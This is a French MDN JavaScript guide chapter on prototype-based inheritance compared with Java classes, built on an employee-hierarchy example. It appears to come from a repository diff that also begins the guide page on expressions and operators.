Dans les langages de classes, on doit définir une classe dans une définition de classe. Dans cette définition, on peut inclure certaines méthodes spéciales, comme les constructeurs qui permettent de créer de nouvelles instances de cette classe. Un constructeur permet de définir certaines valeurs initiales pour des propriétés de l’instance et d’effectuer certains traitements lors de la création d’une instance. L’opérateur new, utilisé avec le constructeur, permet de créer de nouvelles instances.

+ +

Le fonctionnement de JavaScript est similaire. En revanche, il n’y a pas de différence entre la définition de la classe et le constructeur. La fonction utilisée pour le constructeur permet de créer un objet avec un ensemble initial de propriétés et de valeurs. Toute fonction JavaScript peut être utilisée comme constructeur. L’opérateur new doit être utilisé avec un constructeur pour créer un nouvel objet.

+ +
+

Note : Bien qu'ECMAScript 2015 introduise une déclaration de classe, celle-ci n'est qu'un sucre syntaxique utilisant l'héritage à base de prototype. Cette nouvelle syntaxe n'introduit pas de nouveau paradigme d'héritage objet au sein de JavaScript.

+
+ +

Classes-filles et héritage

+ +

Dans un langage de classes, on peut créer une hiérarchie de classes à travers la définition de classe. En effet, dans cette définition, on peut préciser si la nouvelle classe est une classe-fille d'une classe existante. La classe-fille hérite alors des propriétés de la classe-parente et peut ajouter de nouvelles propriétés ou modifier les propriétés héritées. Si, par exemple, la classe Employé comprend les propriétés nom et branche et que Manager est une classe-fille de la classe Employee qui ajoute la propriété rapports. Dans cet exemple, une instance de la classe Manager aurait trois propriétés : nom, branche, et rapports.

+ +

En JavaScript, l’héritage permet d’associer un objet prototypique avec n’importe quel constructeur. Ainsi, on peut créer le même exemple Employé — Manager mais on utilisera une terminologie légèrement différente. Tout d’abord, on définit le constructeur (fonction) Employé et on y définit les propriétés nom et branche. Ensuite, on définit le constructeur Manager avec la propriété rapports. Enfin, on assigne un nouvel objet Employé comme prototype dans le constructeur Manager. Ainsi, quand on créera un nouvel objet Manager, il héritera des propriétés nom et branche de l’objet Employé.

+ +

Ajouter ou retirer des propriétés

+ +

Dans un langage de classe, les classes sont créées durant la compilation et les instanciations de la classe ont lieu durant la compilation ou durant l’exécution. Il n’est pas possible de modifier les propriétés (leur quantité, leurs types) une fois que la classe a été définie. JavaScript, en revanche, permet d’ajouter ou de retirer des propriétés à n’importe quel objet pendant l’exécution. Si une propriété est ajoutée à un objet utilisé comme prototype, tous les objets qui l’utilisent comme prototype bénéficieront de cette propriété.

+ +

Résumé des différences

+ +

Le tableau suivant fournit un rapide récapitulatif de ces différences. Le reste du chapitre décrira l’utilisation de constructeur et de prototypes en JavaScript ainsi que la méthode correspondante qui pourrait être utilisée en Java.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
CatégorieLangage de classe (Java)Langage de prototype (JavaScript)
Classe ou instanceLes classes et les instances sont deux entités distinctes.Tous les objets sont des instances.
DéfinitionUne classe est définie avec une définition de classe. On instancie une classe avec des méthodes appelées constructeursOn définit et on crée un ensemble d’objets avec des fonctions qui sont des constructeurs.
Création d'un nouvel objetOn crée un seul objet grâce à l’opérateur new.Même chose que pour les langages de classe.
Construction de la hiérarchie des objetsOn construit une hiérarchie d’objets en utilisant les définitions des classes pour définir des classes-filles à partir de classes existantes.On construit une hiérarchie d’objets en assignant un prototype à un objet dans le constructeur de cet objet.
Modèle d'héritageLes objets héritent des propriétés appartenant à la chaîne des classes de la hiérarchie.Les objets héritent des propriétés appartenant à la chaîne des prototypes de la hiérarchie.
Ajout de propriétésLa définition de la classe définit exactement toutes les propriétés de toutes les instances d’une classe. Il est impossible d’ajouter des propriétés dynamiquement pendant l’exécution.Le constructeur ou le prototype définit un ensemble de propriétés initiales. Il est possible d’ajouter ou de retirer des propriétés dynamiquement, pour certains objets en particuliers ou bien pour l’ensemble des objets.
+ +

L’exemple de l’employé

+ +

La suite de ce chapitre expliquera la hiérarchie objet suivante, modélisant un système avec différents employés :

+ +

+ +

Une hiérarchie objet basique

+ +

Cet exemple utilisera les objets suivants :

+ +
    +
  • Employé qui possède la propriété nom (dont la valeur par défaut est la chaîne de caractères vide) et branche (dont la valeur par défaut est "commun").
    • +
  • Manager qui est basé sur Employé. La propriété rapports est ajoutée (la valeur par défaut est un tableau vide, ce sera un tableau rempli d’objets Employés).
    • +
  • Travailleur est également basé sur Employé. La propriété project est ajoutée (la valeur par défaut est un tableau vide, ce sera un tableau rempli de chaînes de caractères).
    • +
  • Vendeur est basé sur Travailleur. La propriété quota est ajoutée (la valeur par défaut est 100). La propriété branche est surchargée et vaut "ventes", indiquant que tous les vendeurs font partie du même département.
    • +
  • Ingénieur est basé sur Travailleur. La propriété moteur est ajoutée (la valeur par défaut est la chaîne vide) et la propriété branche est surchargée avec la valeur "ingénierie".
    • +
+ +

La création de la hiérarchie

+ +

Plusieurs fonctions utilisées comme constructeurs peuvent permettre de définir la hiérarchie souhaitée. La façon que vous utiliserez dépendra des fonctionnalités que vous souhaitez avoir dans votre application.

+ +

On utilise ici des définitions très simples (et peu adaptables) permettant de montrer le fonctionnement de l’héritage. Grâce à ces définitions fournies, on ne peut pas définir des valeurs spécifiques pour les propriétés lors de la création de l’objet. Les objets créés reçoivent les valeurs par défaut, les propriétés pourront être changées par la suite.

+ +

Pour une application réelle, on définirait des constructeurs permettant de fixer les valeurs des propriétés lors de la création (voir Des constructeurs plus flexibles). Ici, ces définitions nous permettent d’observer l’héritage.

+ +
+

Attention, quand on assigne une fonction directement à NomFonction.prototype, cela retire la propriété « constructeur » du prototype original. Ainsi, (new Travailleur).constructor renverra un Employé (et non pas Travailleur). Il faut faire attention à la façon de conserver le constructeur original du prototype. On peut, par exemple, l'assigner à NomFonction.prototype.__proto__. Dans notre exemple, on aurait ainsi, Travailleur.prototype.__proto__ = new Employé; de cette façon : (new Travailleur).constructor renvoie bien « Travailleur ».

+
+ +

Les définitions d’Employé suivantes, en Java et JavaScript sont assez semblables. Les seules différences proviennent du typage nécessaire : avec Java, il est nécessaire de préciser le type des propriétés alors que ce n’est pas le cas en JavaScript. En Java, il est également nécessaire de créer une méthode constructeur à part dans la classe.

+ + + + + + + + + + + + + + +
JavaScriptJava
+ 
+function Employé () {
+  this.nom = "";
+  this.branche = "commun";
+}
+
+ 		+ 
+public class Employé {
+   public String nom;
+   public String branche;
+   public Employé () {
+      this.nom = "";
+      this.branche = "commun";
+   }
+}
+
+
+ +

Les définitions de Manager et Travailleur permettent de voir la différence dans les façons de définir un objet plus loin dans la relation d’héritage. En JavaScript, il faut ajouter une instance prototypique comme valeur de la propriété prototype de la fonction constructeur (autrement dit, on définit la valeur de la propriété prototype de la fonction, en utilisant une instance du prototype utilisé puis en surchargeant prototype.constructor). On peut faire cela à n’importe quel moment après la définition du constructeur. Avec Java, on définit la classe mère au sein de la définition de la classe et il n’est pas possible de définir cette relation en dehors de la définition de la classe.

+ + + + + + + + + + + + + + +
JavaScriptJava
+ 
+function Manager () {
+  this.rapports = [];
+}
+Manager.prototype = new Employé;
+
+function Travailleur () {
+  this.projets = [];
+}
+Travailleur.prototype = new Employé;
+
+ 		+ 
+public class Manager extends Employé {
+   public Employé[] rapports;
+   public Manager () {
+      this.rapports = new Employé[0];
+   }
+}
+
+public class Travailleur extends Employé {
+   public String[] projets;
+   public Travailleur () {
+      this.projets = new String[0];
+   }
+}
+
+
+ +

Les définitions d’Ingénieur et de Vendeur permettent de créer des objets qui héritent de Travailleur et donc, implicitement, de Employé. Un objet d’un de ces deux types possède les propriétés de tous les objets présents plus haut dans l’héritage. De plus, dans notre exemple, les définitions de ces types surchargent les valeurs de la propriété branche avec des valeurs spécifiques.

+ + + + + + + + + + + + + + +
JavaScriptJava
+ 
+function Vendeur () {
+   this.branche = "ventes";
+   this.quota = 100;
+}
+Vendeur.prototype = new Travailleur;
+
+function Ingénieur () {
+   this.branche = "ingénierie";
+   this.moteur = "";
+}
+Ingénieur.prototype = new Travailleur;
+
+ 		+ 
+public class Vendeur extends Travailleur {
+   public double quota;
+   public Vendeur () {
+      this.branche = "ventes";
+      this.quota = 100.0;
+   }
+}
+
+public class Ingénieur extends Travailleur {
+   public Ingénieur () {
+      this.branche = "ingénierie";
+      this.moteur = "";
+   }
+}
+
+
+ +

Grâce à ces définitions, on peut créer des instances pour ces objets qui auront les valeurs par défaut pour leurs propriétés. Le schéma suivant montre comment utiliser ces définitions en JavaScript et illustre les propriétés des objets ainsi créés.

+ +
+

Le terme instance possède un sens particulier, au niveau technique, pour les langages de classes. Pour ces langages, une instance est le résultat de l’instanciation d’une classe en un objet (qui sera un « exemplaire » de cette classe), le concept d’instance est donc fondamentalement différent du concept de classe. En JavaScript, une « instance » ne possède pas de sens technique particulier, ceci est notamment dû au fait qu'il n’y a pas d’opposition entre ces concepts (car il n’y a pas de classe). Cependant, le terme instance peut parfois être utilisé, en JavaScript, pour désigner un objet qui aurait été créé en utilisant un constructeur. De la même façon, les mots parent, enfant, ancêtre, et descendant n’ont pas de signification formelle en JavaScript, mais ils peuvent être utilisés pour faire référence aux différents objets appartenant aux différents niveaux de la chaîne de prototypes.

+
+ +

Créer des objets avec des définitions simples

+ +

Les propriétés d’un objet

+ +

Dans cette section, nous verrons comment les objets héritent des propriétés d’autres objets de la chaîne de prototypes et de ce qui se passe quand on ajoute une propriété lors de l’exécution.

+ +

L’héritage de propriétés

+ +

Imaginons qu’on souhaite créer un objet marc qui est un Travailleur :

+ +
var marc = new Travailleur;
+
+ +

Lorsque JavaScript rencontre l’opérateur new, un objet générique est créé, ce nouvel objet est passé comme valeur de this à la fonction constructeur de Travailleur. Le constructeur définit ensuite la valeur de la propriété projets puis il définit implicitement la valeur de la propriété interne [[Prototype]] avec la valeur de Travailleur.prototype. (Le nom de cette propriété commence et finit par deux tirets bas.) La propriété __proto__ détermine la chaîne de prototypes utilisée pour renvoyer les valeurs des propriétés qu’on pourrait utiliser. Quand ces propriétés sont définies, JavaScript renvoie le nouvel objet, l’instruction d’assignation assigne alors la variable marc à cet objet.

+ +

En utilisant ce procédé, on n’introduit pas de valeurs spécifiques pour les propriétés de marc dont il hérite via la chaîne de prototypes. Si on utilise une valeur d'une de ces propriétés, JavaScript vérifiera tout d’abord si elle appartient à l'objet : si c’est le cas, la valeur est renvoyée. Sinon, JavaScript remonte dans la chaîne de prototypes en utilisant la propriété __proto__. Si un objet de cette chaîne possède une valeur pour cette propriété, la valeur est renvoyée. Si aucune propriété n’est trouvée, JavaScript indique que l’objet ne possède pas cette propriété. Ainsi pour l’objet marc : on aura les propriétés suivantes avec les valeurs respectives :

+ +
marc.nom = "";
+marc.branche = "commun";
+marc.projets = [];
+
+ +

L’objet marc hérite des valeurs des propriétés nom et branche via le constructeur Employé. Il y a une valeur locale pour la propriété projets grâce au constructeur Travailleur.

+ +

Ces constructeurs ne permettent pas de fournir des valeurs spécifiques, l’information créée est générique pour chaque objet. Les valeurs des propriétés sont celles par défaut, comme pour tous les autres objets créés à partir de Travailleur. On peut, bien sûr, changer les valeurs de ces propriétés pour fournir des valeurs spécifiques :

+ +
marc.nom = "Marc Dupont";
+marc.branche = "admin";
+marc.projets = ["navigateur"];
+ +

L’ajout de propriétés

+ +

En JavaScript, on peut ajouter des propriétés lors de l’exécution et on peut utiliser des propriétés qui ne seraient pas définies par le constructeur. Afin d’ajouter une propriété à un objet donné, on assigne une valeur de la façon suivante :

+ +
marc.bonus = 3000;
+
+ +

Désormais, l’objet marc possède la propriété bonus. En revanche, aucun autre Travailleur ne possède cette propriété.

+ +

Si on ajoute une nouvelle propriété à un objet qui est utilisé comme prototype pour un constructeur, alors tous les objets créés à partir de ce constructeur bénéficieront de cette propriété grâce à l’héritage. Ainsi, on peut ajouter une propriété spécialité à tous les employés grâce à l’instruction suivante :

+ +
Employé.prototype.spécialité = "aucune";
+
+ +

Dès que l’instruction est exécutée par JavaScript, l’objet marc possèdera aussi la propriété spécialité initialisée avec la valeur "aucune". Le schéma suivant décrit l’effet de cet ajout puis de la surcharge de cette propriété pour le prototype Ingénieur.

+ +


+ Ajouter des propriétés

+ +

Des constructeurs plus flexibles

+ +

Les fonctions constructeur utilisées jusqu’à présent ne permettaient pas de définir les valeurs des propriétés à la création d’une instance. De la même façon qu’en Java, il est possible d’utiliser des arguments pour ces fonctions afin d’initialiser les valeurs des propriétés des instances.

+ +


+ Définir les propriétés grâce au constructeur

+ +

Le tableau suivant montre les définitions de ces objets en JavaScript et en Java.

+ + + + + + + + + + + + + + + + + + + + + + +
JavaScriptJava
+ 
+function Employé (nom, branche) {
+  this.nom = nom || "";
+  this.branche = branche || "commun";
+}
+
+ 		+ 
+public class Employé {
+   public String nom;
+   public String branche;
+   public Employé () {
+      this("", "commun");
+   }
+   public Employé (String nom) {
+      this(nom, "commun");
+   }
+   public Employé (String nom, String branche) {
+      this.nom = nom;
+      this.branche = branche;
+   }
+}
+
+
+ 
+function Travailleur (projs) {
+  this.projets = projs || [];
+}
+Travailleur.prototype = new Employé;
+
+ 		+ 
+public class Travailleur extends Employé {
+   public String[] projets;
+   public Travailleur () {
+      this(new String[0]);
+   }
+   public Travailleur (String[] projs) {
+      this.projets = projs;
+   }
+}
+
+
+
+ 
+
+function Ingénieur (moteur) {
+   this.branche = "ingénierie";
+   this.moteur = moteur || "";
+}
+Ingénieur.prototype = new Travailleur;
+
+ 		+ 
+public class Ingénieur extends Travailleur {
+   public String moteur;
+   public Ingénieur () {
+      this.branche = "ingénierie";
+      this.moteur = "";
+   }
+   public Ingénieur (String moteur) {
+      this.branche = "ingénierie";
+      this.moteur = moteur;
+   }
+}
+
+
+ +

Les définitions JavaScript présentées ci-dessus utilisent une instruction qui peut paraître étrange pour avoir des valeurs par défaut :

+ +
this.nom = nom || "";
+
+ +

L’opérateur correspondant au OU logique en JavaScript (||) évalue le premier argument. Si cet argument peut être converti en true, alors l’opérateur renverra cet argument. Sinon, il renvoie la valeur du second argument. Ainsi, en utilisant ce code, on teste si la valeur fournie (nom) est utile ou non : si c’est le cas, on l’utilise pour la propriété, sinon on conserve la valeur par défaut (ici la chaîne vide). Cet exemple peut paraître déroutant mais permet d’être plus concis.

+ +
+

Attention, cela peut ne pas fonctionner comme souhaité si le constructeur est appelé avec des arguments qui seront convertis à false (comme 0 (zéro) et la chaîne de caractère vide (""). Si ces valeurs sont utilisées, la valeur par défaut sera prise en compte.

+
+ +

Grâce à ces définitions, on peut créer une instance d’un objet en utilisant des valeurs spécifiques pour les propriétés. On peut par exemple utiliser :

+ +
var jeanne = new Ingénieur("carnot");
+ +

Les propriétés de l’objet sont donc désormais :

+ +
jeanne.nom == "";
+jeanne.branche == "ingénierie";
+jeanne.projets == [];
+jeanne.moteur == "carnot"
+
+ +

On peut remarquer qu’avec ces définitions, on ne peut pas définir de valeur initiale pour les propriétés provenant de l’héritage, comme nom ici. Si on souhaite définir des valeurs initiales pour ces propriétés, il faut modifier légèrement le constructeur.

+ +

Jusqu’à présent, le constructeur utilisé permettait de créer un objet générique puis de créer des propriétés et de spécifier leurs valeurs pour le nouvel objet. On peut utiliser un constructeur afin de définir des valeurs spécifiques pour les autres propriétés plus hautes dans l’héritage. Pour ce faire, on appelle le constructeur de l’objet plus haut dans l’héritage au sein même du constructeur de l’objet courant.

+ +


+ La définition de propriétés héritées dans un constructeur

+ +

Ainsi, le constructeur de Ingénieur sera :

+ +
function Ingénieur (nom, projets, moteur) {
+  this.base = Travailleur;
+  this.base(nom, "ingénierie", projets);
+  this.moteur = moteur || "";
+}
+
+ +

Si on crée ensuite un objet Ingénieur de cette façon :

+ +
var jeanne = new Ingénieur("Jeanne Dubois", ["navigateur", "javascript"], "carnot");
+
+ +

L’exécution du code entraînera les étapes suivantes :

+ +
    +
  1. La création d’un objet générique avec l'opérateur new qui assigne la valeur Ingénieur.prototype à la propriété __proto__.
    2. +
  2. L'opérateur new passe ensuite l’objet au constructeur Ingénieur comme valeur du mot-clé this.
    3. +
  3. Le constructeur crée une nouvelle propriété, appelée base, pour cet objet. Cette propriété reçoit la valeur du constructeur Travailleur. Ainsi le constructeur Travailleur devient une méthode de l’objet Ingénieur. Le nom de cette propriété base n’est pas spécial, on pourrait utiliser un autre nom pour cette propriété (sous réserve qu’il soit valide).
    4. +
  4. +

    Le constructeur appelle la méthode base et lui passe deux arguments qui avaient été passés ("Jeanne Dubois" et ["navigateur", "javascript"]), ainsi que la chaîne de caractères "ingénierie". Le fait d’utiliser "ingénierie" explicitement indique que tous les objets Ingénieur auront la même valeur pour la propriété branche qui aura été héritée. Cela permet également de surcharger la valeur par défaut héritée de Employé.

    +
    5. +
  5. +

    base étant une méthode d'Ingénieur, lors de l'appel de cette fonction, le mot clé this aura été lié à l'objet créé en 1. Ainsi, la fonction Travailleur passera les arguments "Jeanne Dubois" et "ingénierie" au constructeur Employé. Une fois que la fonction constructeur Employé a renvoyé un résultat, la fonction Travailleur utilise l'argument restant pour donner la valeur à la propriété projets.

    +
    6. +
  6. Une fois que la méthode base a renvoyé un résultat, le constructeur Ingénieur initialise la propriété moteur avec la valeur "carnot".
    7. +
  7. Lorsque le constructeur renvoie le résultat, il est assigné à la variable jeanne.
    8. +
+ +

On peut penser qu’un simple appel au constructeur Travailleur, dans le constructeur Ingénieur permette de définir l'héritage pour les objets Ingénieur. Attention, ce n’est pas le cas. Un simple appel au constructeur Travailleur permet de bien définir les valeurs des propriétés spécifiées dans les constructeurs appelés. En revanche, si plus tard on souhaite ajouter des propriétés aux prototypes Employé ou Travailleur : l'objet Ingénieur n’en héritera pas. Si par exemple on a :

+ +
function Ingénieur (nom, projets, moteur) {
+  this.base = Travailleur;
+  this.base(nom, "ingénierie", projets);
+  this.moteur = moteur || "";
+}
+var jeanne = new Ingénieur("Jeanne Dubois", ["navigateur", "javascript"], "carnot");
+Employé.prototype.spécialité = "aucune";
+
+ +

L'objet jeanne n’héritera pas de la propriété spécialité. Il aurait fallu préciser le prototype pour s'assurer de l'héritage dynamique. Si on a plutôt :

+ +
function Ingénieur (nom, projets, moteur) {
+  this.base = Travailleur;
+  this.base(nom, "ingénierie", projets);
+  this.moteur = moteur || "";
+}
+Ingénieur.prototype= new Travailleur;
+var jeanne = new Ingénieur("Jeanne Dubois", ["navigateur", "javascript"], "carnot");
+Employé.prototype.spécialité = "aucune";
+
+ +

Alors la valeur de la propriété spécialité de jeanne sera "aucune".

+ +

Une autre façon d’utiliser l’héritage dans un constructeur peut être d'utiliser les méthodes call() et apply(). Les deux fragments de codes présentés ici sont équivalents :

+ + + + + + + + +
+ 
+function Ingénieur (nom, projets, moteur) {
+  this.base = Travailleur;
+  this.base(nom, "ingénierie", projets);
+  this.moteur = moteur || "";
+}
+
+ 		+ 
+function Ingénieur (nom, projets, moteur) {
+  Travailleur.call(this, nom, "ingénierie", projets);
+  this.moteur = moteur || "";
+}
+
+
+ +

En utilisant la méthode call() on obtient une syntaxe plus claire car on n’utilise plus la propriété intermédiaire base.

+ +

L’héritage de propriétés : les subtilités

+ +

Les sections précédentes ont permis de décrire le fonctionnement des constructeurs et des prototypes, notamment par rapport aux hiérarchies d’objets et à l’héritage. L’objectif de cette section est de couvrir un peu plus en profondeur certaines facettes de l'héritage qui n’étaient pas détaillées avant.

+ +

Valeurs locales et valeurs héritées

+ +

Quand on accède à la propriété d’un objet, JavaScript effectue les étapes suivantes :

+ +
    +
  1. On vérifie si la valeur existe localement : si c'est le cas on renvoie cette valeur.
    2. +
  2. S'il n’y a pas de valeur locale, on parcourt la chaîne des prototypes grâce à la propriété__proto__.
    3. +
  3. Si un objet de la chaîne de prototypes possède une valeur pour la propriété recherchée, alors on renvoie cette valeur.
    4. +
  4. Si aucune propriété correspondante n’est trouvée, alors l’objet ne possède pas cette propriété.
    5. +
+ +

L'issue de cet algorithme peut dépendre de la façon dont on a défini au fur et à mesure les différents objets. Dans l'exemple initial on avait les définitions :

+ +
function Employé () {
+  this.nom = "";
+  this.branche = "commun";
+}
+
+function Travailleur () {
+  this.projets = [];
+}
+Travailleur.prototype = new Employé;
+
+ +

Si on utilise ces définitions et qu'on définit une instance de Travailleur appelée amy avec l'instruction suivante :

+ +
var amy = new Travailleur;
+
+ +

Alors l'objet amy possède une propriété locale : projets. Les valeurs des propriétés nom et branche ne sont pas locales, elles sont obtenues grâce à la propriété __proto__ de l'objet amy. Ainsi amy possède les propriétés suivantes avec les valeurs respectives :

+ +
amy.nom == "";
+amy.branche == "commun";
+amy.projets == [];
+
+ +

Si maintenant on change la valeur de la propriété nom pour le prototype associé à Employé :

+ +
Employé.prototype.nom = "Inconnu"
+
+ +

On pourrait penser que cette nouvelle valeur est propagée pour toutes les instances de Employé. Ce n’est pas le cas.

+ +

En effet, lorsqu’on crée n’importe quelle instance de Employé, cette instance obtient une valeur locale pour la propriété nom (qui est la chaîne de caractères vide). Cela signifie que lorsqu'on utilise le prototype Travailleur dans lequel on crée un nouvel objet Employé, Travailleur.prototype aura une valeur locale pour la propriété nom. Ainsi, quand JavaScript recherche la propriété nom de l'objet amy (qui est une instance de Travailleur), JavaScript trouve la valeur locale de cette propriété au niveau de Travailleur.prototype et ne remonte pas plus loin dans la chaîne : on n’atteint pas Employé.prototype.

+ +

Si on souhaite changer la valeur de la propriété d’un objet pendant l’exécution et que sa valeur soit héritée par tous les descendants de l’objet, on ne peut pas définir cette propriété dans le constructeur de l'objet, il faut l’ajouter au constructeur du prototype associé. Si on change le code précédent par :

+ +
function Employé () {
+  this.branche = "commun"; // La propriété this.nom, qui est une variable locale, n'apparaît pas ici
+}
+Employé.prototype.nom = ""; // Il s'agit d'une simple affectation
+
+function Travailleur () {
+  this.projets = [];
+}
+Travailleur.prototype = new Employé;
+
+var amy = new Travailleur;
+
+Employé.prototype.nom = "Inconnnu";
+
+ +

Alors on aura bien la propriété nom de amy qui deviendra "Inconnu".

+ +

Comme on a pu le voir avec ces exemples, si on souhaite avoir des valeurs par défaut pour certaines propriétés et être capable de les modifier à l'exécution, il est nécessaire de les définir dans les propriétés du prototype du constructeur et non dans le constructeur même.

+ +

Comment déterminer les relations entre les instances

+ +

La recherche de propriétés JavaScript permet de rechercher parmi les propriétés de l’objet puis dans la propriété spéciale __proto__ et ainsi de suite pour explorer la chaîne des prototypes.

+ +

La propriété spéciale __proto__ est défnie à la construction d'un objet et contient la valeur du constructeur de la propriétéprototype. Ainsi, l’expression new Toto() crée un nouvel objet avec __proto__ == Toto.prototype. Ainsi, tous les changements des propriétés de Toto.prototype sont propagés sur la chaîne des prototypes des objets ayant été créés par new Toto().

+ +

Chaque objet (sauf Object) possède une propriété __proto__. Chaque fonction possède une propriété prototype. Ainsi, on peut relier les objets par « héritage prototypique ». Pour tester l’héritage, on peut comparer la propriété __proto__ d'un objet avec la propriété prototype d'une fonction. JavaScript permet de faire ceci avec l’opérateur instanceof qui teste un objet par rapport à une fonction et qui renvoie true si l’objet hérite de la fonction prototype. Ainsi :

+ +
var t = new Toto();
+var isTrue = (t instanceof Toto);
+ +

Pour avoir un exemple plus précis, si on crée un objet Ingénieur comme ceci :

+ +
var chris = new Engineer("Chris Pigman", ["jsd"], "fiji");
+
+ +

L’ensemble des instructions suivantes renverra true :

+ +
chris.__proto__ == Ingénieur.prototype;
+chris.__proto__.__proto__ == Travailleur.prototype;
+chris.__proto__.__proto__.__proto__ == Employé.prototype;
+chris.__proto__.__proto__.__proto__.__proto__ == Object.prototype;
+chris.__proto__.__proto__.__proto__.__proto__.__proto__ == null;
+
+ +

On pourrait donc écrire la une fonction instanceOf de la façon suivante :

+ +
function instanceOf(object, constructor) {
+   while (object != null) {
+      if (object == constructor.prototype)
+         return true;
+      if (typeof object == 'xml') {
+        return constructor.prototype == XML.prototype;
+      }
+      object = object.__proto__;
+   }
+   return false;
+}
+
+ +
Note : L’implémentation ci-dessus possède un cas particulier pour le type d'objet "xml" : c'est une façon de traiter les objets XML et la façon dont ils sont représentés dans les versions plus récentes de JavaScript. N’hésitez pas à aller consulter la fiche {{bug(634150)}} si vous voulez en savoir plus.
+ +

Ainsi, avec cette fonction, les expressions suivantes seront vérifiées :

+ +
instanceOf (chris, Ingénieur)
+instanceOf (chris, Travailleur)
+instanceOf (chris, Employé)
+instanceOf (chris, Object)
+
+ +

En revanche, l’expression qui suit est fausse :

+ +
instanceOf (chris, Vendeur)
+
+ +

Les informations globales dans les constructeurs

+ +

Lorsqu'on crée des constructeurs, on doit prendre des précautions si on souhaite manipuler des informations globales au sein d'un constructeur. Si, par exemple, on souhaite avoir un identifiant unique attribué automatiquement pour chaque nouvel employé, on pourrait utiliser la définition suivante :

+ +
var idCompteur = 1;
+
+function Employé (nom, branche) {
+   this.nom = nom || "";
+   this.branche = branche || "commun";
+   this.id = idCompteur++;
+}
+
+ +

Avec cette définition, si on utilise les instructions suivantes victoria.id sera 1 et henri.id sera 2:

+ +
var victoria = new Employé("Victoria Rander", "international")
+var henri = new Employé("Henri Jelier", "ventes")
+
+ +

De cette façon, on peut penser que cette solution convient. Cependant, idCompteur sera incrémenté à chaque fois qu’un objet Employé sera créé, quelqu’en soit la raison. Si on utilise la hiérarchie établie au cours de ce chapitre, le constructeur Employé sera appelé à chaque fois qu’on définit un prototype. Avec le code suivant par exemple :

+ +
var idCompteur = 1;
+
+function Employé (nom, branche) {
+   this.nom = nom || "";
+   this.branche = branche || "commun";
+   this.id = idCompteur++;
+}
+
+function Manager (nom, branche, rapports) {...}
+Manager.prototype = new Employé;
+
+function Travailleur (nom, branche, projets) {...}
+Travailleur.prototype = new Employé;
+
+function Ingénieur (nom, projets, moteur) {...}
+Ingénieur.prototype = new Travailleur;
+
+function Vendeur (nom, projets, quota) {...}
+Vendeur.prototype = new Travailleur;
+
+var alex = new Ingénieur("Alex S");
+
+ +

Si on prend le cas où les définitions utilisent la propriété base et appellent le constructeur à chaque fois au-dessus, alors la propriété alex.id vaudra 3.

+ +

Selon l’application qu’on a de cette information, on peut souhaiter ou non que ce compteur ne soit pas incrémenté avec ces étapes intermédiaires. Si on souhaite utiliser une valeur exacte, on pourra utiliser le constructeur suivant :

+ +
function Employé (nom, branche) {
+   this.nom = nom || "";
+   this.branche = branche || "commun";
+   if (nom)
+      this.id = idCompteur++;
+}
+
+ +

Lorsqu’on crée une instance d’Employé comme prototype, on ne fournit pas d’argument au constructeur. Ainsi, en utilisant ce constructeur, lorsqu’on ne fournit pas d’argument, le constructeur n’incrémente pas le compteur. De cette façon, pour qu’un employé ait un identifiant valide, il faut qu’on lui ait donné un nom. Avec cet exemple, alex.id vaudrait 1.

+ +

Une autre façon de procéder est de créer une copie du prototype d'Employé et d'affecter celle-ci à Travailleur :

+ +
Travailleur.prototype = Object.create(Employé.prototype);
+// plutôt que Travailleur.prototype = new Employé;
+ +

L’absence d’héritage multiple

+ +

Certains langages orientés objet permettent d’avoir un héritage multiple. Cela veut dire qu’un objet peut hériter des propriétés et des valeurs d’objets parents qui n’ont aucune relation. JavaScript ne permet pas d’avoir ce type d'héritage.

+ +

L’héritage des valeurs des propriétés s’effectue lors de l’exécution lorsque JavaScript explore la chaîne de prototype. Étant donné qu’un objet possède un seul prototype associé, JavaScript ne peut pas, dynamiquement, effectuer l’héritage sur plus d’une chaîne de prototypes.

+ +

En JavaScript, il est possible d’avoir un constructeur qui fait appel à plusieurs constructeurs. Cela donne en quelque sorte l’illusion d’un héritage multiple. Par exemple :

+ +
function Passioné (passion) {
+   this.passion = passion || "plongée";
+}
+
+function Ingénieur (nom, projets, moteur, passion) {
+   this.base1 = Travailleur;
+   this.base1(nom, "ingénierie", projets);
+   this.base2 = Passioné;
+   this.base2(passion);
+   this.moteur = moteur || "";
+}
+Ingénieur.prototype = new Travailleur;
+
+var denis = new Ingénieur("Denis Carle", ["collabra"], "carnot")
+
+ +

Supposons que la définition de Travailleur soit utilisée plus haut dans ce chapitre. Dans ce cas, l’objet dennis aura les propriétés suivantes :

+ +
denis.nom == "Denis Carle"
+denis.branche == "ingénierie"
+denis.projets == ["collabra"]
+denis.moteur == "carnot"
+denis.passion == "plongée"
+
+ +

On voit bien que denis bénéficie de la propriété passion du constructeur Passioné. Cependant, si, plus tard, on ajoute une propriété au prototype du constructeur :

+ +
Passioné.prototype.équipement = ["masque", "filet", "club", "balles"]
+
+ +

L’objet denis n’héritera pas de cette nouvelle propriété.

+ +

{{PreviousNext("Web/JavaScript/Guide/Utiliser_les_objets", "Web/JavaScript/Guide/Utiliser_les_promesses")}}

diff --git a/files/fr/web/javascript/guide/expressions_and_operators/index.html b/files/fr/web/javascript/guide/expressions_and_operators/index.html new file mode 100644 index 0000000000..fc922c49ce --- /dev/null +++ b/files/fr/web/javascript/guide/expressions_and_operators/index.html @@ -0,0 +1,934 @@ +--- +title: Expressions et opérateurs +slug: Web/JavaScript/Guide/Expressions_et_Opérateurs +tags: + - Débutant + - Expressions + - Guide + - JavaScript + - Operators +translation_of: Web/JavaScript/Guide/Expressions_and_Operators +--- +

{{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide/Fonctions", "Web/JavaScript/Guide/Nombres_et_dates")}}

+ +

Ce chapitre décrit les expressions et les opérateurs en JavaScript, il inclut des notions sur les opérateurs d'affectation, de comparaison, les opérateurs arithmétiques, binaires, logiques, ceux qui s'appliquent sur les chaînes de caractères ainsi que les opérateurs spéciaux.

+ +

Une liste complète et détaillée des opérateurs JavaScript est disponible dans la référence JavaScript.

+ +

Opérateurs

+ +

JavaScript possède différents types d'opérateurs. Cette section décrit les opérateurs et certaines informations sur les priorités entre opérateurs.

+ + + +

JavaScript utilise des opérateurs binaires et unaires, ainsi qu'un opérateur ternaire spécial (l'opérateur conditionnel). Un opérateur binaire utilise deux opérandes, un précédant l'opérateur et un lui succédant :

+ +
opérande1 opérateur opérande2
+
+ +

Par exemple : « 3+4 » ou « x*y ».

+ +

Un opérateur unaire ne nécessite qu'un opérande, avant ou après l'opérateur :

+ +
opérateur opérande
+ +

ou

+ +
opérande opérateur
+ +

